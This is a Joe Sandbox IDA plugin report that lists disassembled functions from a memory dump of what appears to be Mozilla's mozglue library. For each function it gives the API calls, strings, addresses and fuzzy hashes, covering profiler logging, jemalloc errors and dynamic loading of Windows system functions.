Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 7399e5493d65ad0951a964b5814d4e18efa6cc5533498f7815f7d5a941e915ab
Instruction ID: 5069d29dced2b6a2393086cf1a573b1f056851bed05e363dbe66be011eef7cea
Opcode Fuzzy Hash: 7399e5493d65ad0951a964b5814d4e18efa6cc5533498f7815f7d5a941e915ab
Instruction Fuzzy Hash: CEF0B475300315AFDB046B67DC4CABA777DEB8665DF048119FA0583B41CB39584B8770

Function 6C9F0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C9F0DF8), ref: 6C9F0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C9F0EA1
__Init_thread_footer.LIBCMT ref: 6C9F0EB5
FreeLibrary.KERNEL32 ref: 6C9F0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C9F0E9B
kernel32.dll, xrefs: 6C9F0E7D

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: d4afb3a1becfba864dc69ca01b79a350dc54e8a041d85797acc7959910de01f9
Instruction ID: 8dc5eadff2abbad08df2be2646f6bc7d97a32b12706cc44c5703b2a369a698d2
Opcode Fuzzy Hash: d4afb3a1becfba864dc69ca01b79a350dc54e8a041d85797acc7959910de01f9
Instruction Fuzzy Hash: A8012CB0714382CBDB048F9ADD14B61B3B9F706318F109519AA1182B40DB30E85B9B11

Function 6CA205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA1CFAE,?,?,?,6C9E31A7), ref: 6CA205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA1CFAE,?,?,?,6C9E31A7), ref: 6CA20616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9E31A7), ref: 6CA2061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9E31A7), ref: 6CA20627

Strings

<jemalloc>, xrefs: 6CA205FA, 6CA2060F
: (malloc) Error in VirtualFree(), xrefs: 6CA2061B, 6CA20625

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 0e6be8500b9ad1cb3ee605aff511814a5e7548dd39faefb0208fa81ce79830de
Instruction ID: baba62f81fb5db0220187bba323670ec8b8539989a4275a97bb4866c8bc4b37b
Opcode Fuzzy Hash: 0e6be8500b9ad1cb3ee605aff511814a5e7548dd39faefb0208fa81ce79830de
Instruction Fuzzy Hash: 40E08CE2A0111437F514225ABC86DBBBA1CDBCA538F084139FD0D82301E95AAD2E91F6

Function 6C9F05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe1a4764c6f0c3663266d2465bd51a0ee4555f2b9d79735e01b9a48bebdf53fd
Instruction ID: 7434de2329a349f86b3c209cd838ae1598c8791011d89db3e7bfa3e4f4b8421b
Opcode Fuzzy Hash: fe1a4764c6f0c3663266d2465bd51a0ee4555f2b9d79735e01b9a48bebdf53fd
Instruction Fuzzy Hash: 51A148B0A00745CFDB14CF29C994A99FBF5BF48304F5486AED45A97B01E730A99ACF90

Function 6CA414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA414E2
GetCurrentThreadId.KERNEL32 ref: 6CA41546
InitializeConditionVariable.KERNEL32(?), ref: 6CA415BA
free.MOZGLUE(?), ref: 6CA416B4

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: f03257ff88d392d218f6c96d3bd04dabcca8e81118f3224c52bbe3d6b4e14835
Instruction ID: 1e0e78e85c6883154f26f2c86903ef34eee0643d5c435b3012519795a4e7dcdd
Opcode Fuzzy Hash: f03257ff88d392d218f6c96d3bd04dabcca8e81118f3224c52bbe3d6b4e14835
Instruction Fuzzy Hash: C2610176A007109BDB118F21C984BEEB7B4BF89308F44951CEE8A57701DB31E999CB91

Function 6CA39F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA39FDB
free.MOZGLUE(?,?), ref: 6CA39FF0
free.MOZGLUE(?,?), ref: 6CA3A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA3A0BE
free.MOZGLUE(?,?), ref: 6CA3A0D5
free.MOZGLUE(?,?), ref: 6CA3A0EB

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 3f20d589fa8f50b2bee42c6edcc05e0085424cfcfc908230b08dd3b81f246ad8
Instruction ID: 96bd063f6f59aeda4c6c803ea0b2b3ec4a640210329fcc9224d2dff96553f358
Opcode Fuzzy Hash: 3f20d589fa8f50b2bee42c6edcc05e0085424cfcfc908230b08dd3b81f246ad8
Instruction Fuzzy Hash: 8061E2759087119FC711CF58C48055AB3F5FF88368F149659E8999B702EB32E9CACBC1

Function 6CA3DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA3DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA3D38A,?), ref: 6CA3DC6F
free.MOZGLUE(?,?,?,?,?,6CA3D38A,?), ref: 6CA3DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA3D38A,?), ref: 6CA3DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA3D38A,?), ref: 6CA3DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA3D38A,?), ref: 6CA3DD4A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 65e103a80c98510aafceb3b3572885c36009e9fc89905cb3ef6d95c4382db7a4
Instruction ID: eb0dde438b5611aeb617f1b1bbc151f26b23c4facc769b2153890e89bfa98ad1
Opcode Fuzzy Hash: 65e103a80c98510aafceb3b3572885c36009e9fc89905cb3ef6d95c4382db7a4
Instruction Fuzzy Hash: 794189B5E00215CFCB00CFA9C9909AAB7F6FF88308B155569E909ABB10D731FC85CB90

Function 6CA26590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA1FA80: GetCurrentThreadId.KERNEL32 ref: 6CA1FA8D
Part of subcall function 6CA1FA80: AcquireSRWLockExclusive.KERNEL32(6CA6F448), ref: 6CA1FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA26727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA267C8

Part of subcall function 6CA34290: memcpy.VCRUNTIME140(?,?,6CA42003,6CA40AD9,?,6CA40AD9,00000000,?,6CA40AD9,?,00000004,?,6CA41A62,?,6CA42003,?), ref: 6CA342C4

Strings

data, xrefs: 6CA26593

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: cddbb737ffc82aaca1c0238827e23f82ee1fadc002521222df9384eca8e020a7
Instruction ID: 0783ef9d160f667efc11b3ae4c33d135a40425d60d6bea14018cc493f5d53f93
Opcode Fuzzy Hash: cddbb737ffc82aaca1c0238827e23f82ee1fadc002521222df9384eca8e020a7
Instruction Fuzzy Hash: 92D1DF71A093408FD724CF25D950B9EBBE5BFD5308F18892DE189D7B90DB34A889CB52

Function 6CA1D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C9EEB57,?,?,?,?,?,?,?,?,?), ref: 6CA1D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C9EEB57,?), ref: 6CA1D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C9EEB57,?), ref: 6CA1D673
free.MOZGLUE(?), ref: 6CA1D888

Strings

|Enabled, xrefs: 6CA1D81E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: eacf97e62090daf353c5f72b3453f27daab4d6e12d1b35f645629d360f5fefef
Instruction ID: 42a93d8f8730f2ac9bcc5b023db21ee7b35b7638b93f03e3c0c7db28c33a45d0
Opcode Fuzzy Hash: eacf97e62090daf353c5f72b3453f27daab4d6e12d1b35f645629d360f5fefef
Instruction Fuzzy Hash: 81A1F570E043458FDB06CF69C8907EEBBF1AF59318F18805CD895ABB41D735A885CBA1

Function 6CA1F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA1F480

Part of subcall function 6C9EF100: LoadLibraryW.KERNEL32(shell32,?,6CA5D020), ref: 6C9EF122
Part of subcall function 6C9EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C9EF132

CloseHandle.KERNEL32(00000000), ref: 6CA1F555

Part of subcall function 6C9F14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9F1248,6C9F1248,?), ref: 6C9F14C9
Part of subcall function 6C9F14B0: memcpy.VCRUNTIME140(?,6C9F1248,00000000,?,6C9F1248,?), ref: 6C9F14EF

Part of subcall function 6C9EEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C9EEEE3

CreateFileW.KERNEL32 ref: 6CA1F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA1F523

Strings

\oleacc.dll, xrefs: 6CA1F4CB

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 1f1b8f75949c767dfb7655a0fca640d7bb3a2618be4218fac54e841df4d91bd0
Instruction ID: 554869ae9afac3c4883b18bcf4891e7c86d46fe21090fd4fd0f9b2996b328df9
Opcode Fuzzy Hash: 1f1b8f75949c767dfb7655a0fca640d7bb3a2618be4218fac54e841df4d91bd0
Instruction Fuzzy Hash: 9941D2306087519FE720DF29DD84A9BB3F4BF95328F504A1CF5A183A50EB30D989CB92

Function 6CA2E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2E04F

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA2E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA2E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CA2E057

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 603dd17c8e37dd6294d0440f42313afe3504499f34f9ad36dd3369b0991c9b26
Instruction ID: 65781b4d9587f331028ca6ec84133f41e2ead8a35429fcf2463ea090ccc8125d
Opcode Fuzzy Hash: 603dd17c8e37dd6294d0440f42313afe3504499f34f9ad36dd3369b0991c9b26
Instruction Fuzzy Hash: DF21D074B002298FCF049F75D958AAEB7B5EF45209F184028E80A97740DB39A98AC7A1

Function 6CA474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CA47526
__Init_thread_footer.LIBCMT ref: 6CA47566
__Init_thread_footer.LIBCMT ref: 6CA47597

Strings

UnmapViewOfFile2, xrefs: 6CA47552
kernel32.dll, xrefs: 6CA47557

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 2a343913264f6f26c5035860ad0664df3209e590770f6d2b2b1229aef7902702
Instruction ID: c574069b2968e860439c9e16547efb8ac70ffd3bdbefaf62d4d92c533c393d04
Opcode Fuzzy Hash: 2a343913264f6f26c5035860ad0664df3209e590770f6d2b2b1229aef7902702
Instruction Fuzzy Hash: 5121C5327046829BDB188BAA8D54FB97376FB46724F04C52DE806D7F40C731A9C7C6A6

Function 6CA4A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6F770,-00000001,?,6CA5E330,?,6CA0BDF7), ref: 6CA4A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CA0BDF7), ref: 6CA4A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CA0BDF7), ref: 6CA4A7E4
LeaveCriticalSection.KERNEL32(6CA6F770), ref: 6CA4A80A

Strings

accelerator.dll, xrefs: 6CA4A7BF

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 9f0f733e08d2f27ea433da489cbc3717422100997f07784e8db7dd24d908264a
Instruction ID: 5ba7cbe129f269a437082e90ba7592d1290d53a62812ac3db4652c114f4a501b
Opcode Fuzzy Hash: 9f0f733e08d2f27ea433da489cbc3717422100997f07784e8db7dd24d908264a
Instruction Fuzzy Hash: 00014BB16103049F9F08CF5ADC84E62B7B9FB8A365709C06AE909CB751DB71AC45CBA1

Function 6C9EF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C9EEE51,?), ref: 6C9EF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C9EF0C2

Strings

ole32, xrefs: 6C9EF0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C9EF0DC
Could not find CoTaskMemFree, xrefs: 6C9EF0E3

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 82dfe45d880a33254b711c7f6f354b7ffe7f305cd622948f6ef57dec2aec0ceb
Instruction ID: 58a64900031b4b5e5151c1332dbb624efd66975afcce44d020c72160638473d5
Opcode Fuzzy Hash: 82dfe45d880a33254b711c7f6f354b7ffe7f305cd622948f6ef57dec2aec0ceb
Instruction Fuzzy Hash: 52E01AB5744342DFAF095A77A918B363BBC7F2A20E714C52EE612D1E40EA21D4418632

Function 6CA20080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C9F7204), ref: 6CA20088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CA200A7
FreeLibrary.KERNEL32(?,6C9F7204), ref: 6CA200BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CA200A1
wintrust.dll, xrefs: 6CA20083

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 474d32b9e090c5f507761678ce66d7f4b32b5fd5d602a99779a7c9428ec64a4b
Instruction ID: 801a9c3c23333eb020be2be33adf3dec00eb63f8395b3712352885d9ef35c2d8
Opcode Fuzzy Hash: 474d32b9e090c5f507761678ce66d7f4b32b5fd5d602a99779a7c9428ec64a4b
Instruction Fuzzy Hash: 17E01A706053039BEF09AF67DC1C7257AF9B70B344F04C15AE910C2B41D778C0829B11

Function 6CA200D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C9F7235), ref: 6CA200D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CA200F7
FreeLibrary.KERNEL32(?,6C9F7235), ref: 6CA2010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CA200F1
wintrust.dll, xrefs: 6CA200D3

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 7cc48698b56e517fd67493da39a5ce5fd77317e1c8a15348dada707bc182bcfa
Instruction ID: 876f080afc0e77a29c620c96202a1b076919bb1c4844bd83d17e31c3ce95bf3c
Opcode Fuzzy Hash: 7cc48698b56e517fd67493da39a5ce5fd77317e1c8a15348dada707bc182bcfa
Instruction Fuzzy Hash: D2E01A707453179BEF089F6BDD1D7313AF9B702204F18C059A91A81F40E77480829B10

Function 6CA4C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA4C0E9), ref: 6CA4C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CA4C437
FreeLibrary.KERNEL32(?,6CA4C0E9), ref: 6CA4C44C

Strings

ntdll.dll, xrefs: 6CA4C413
NtQueryVirtualMemory, xrefs: 6CA4C431

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
